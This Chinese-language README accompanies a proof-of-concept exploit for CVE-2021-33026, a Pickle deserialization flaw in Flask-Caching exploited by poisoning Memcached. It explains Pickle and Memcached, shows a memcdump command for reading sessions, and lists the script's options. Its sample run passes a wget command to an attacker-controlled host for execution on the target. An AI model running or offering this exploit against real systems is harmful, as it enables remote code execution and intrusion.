Pickle 序列化远程代码执行 - Memcached 投毒 PoC 漏洞利用
什么是 CVE-2021-33026?
“Flask-Caching 扩展至 1.10.1 版本使用 Pickle 进行序列化,可能导致远程代码执行或本地权限提升。如果攻击者能够访问缓存存储(例如文件系统、Memcached、Redis 等),他们可以构造恶意载荷,投毒缓存,并执行 Python 代码。”
Pickle 库的功能是什么?
“Python 中的 Pickle 主要用于序列化和反序列化 Python 对象结构。换句话说,它是将 Python 对象转换为字节流以存储在文件/数据库中、跨会话维护程序状态或通过网络传输数据的过程。”
什么是 Memcached?
“Memcached 是一种通用分布式内存缓存系统。它通常用于加速动态数据库驱动的网站,通过将数据和对象缓存到 RAM 中,减少对外部数据源读取的次数。”
[!] 漏洞利用:
1. 为了使漏洞利用生效,需要提供 session cookie,为什么?在此概念验证中,我们遇到了一种情况:易受攻击的 Flask 应用的 session cookie 由 memcached 服务管理或存储:
memcdump --servers=target_machine_ip_address

2. 漏洞利用使用方式:
-h --> 帮助菜单
--cmd --> 在目标机器上执行的命令
--rhost --> 目标机器 IP 地址
--rport --> 目标机器端口
--cookie --> 您在易受攻击的 Flask 应用中的实际 session cookie。示例:session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. 运行漏洞利用:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

参考:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/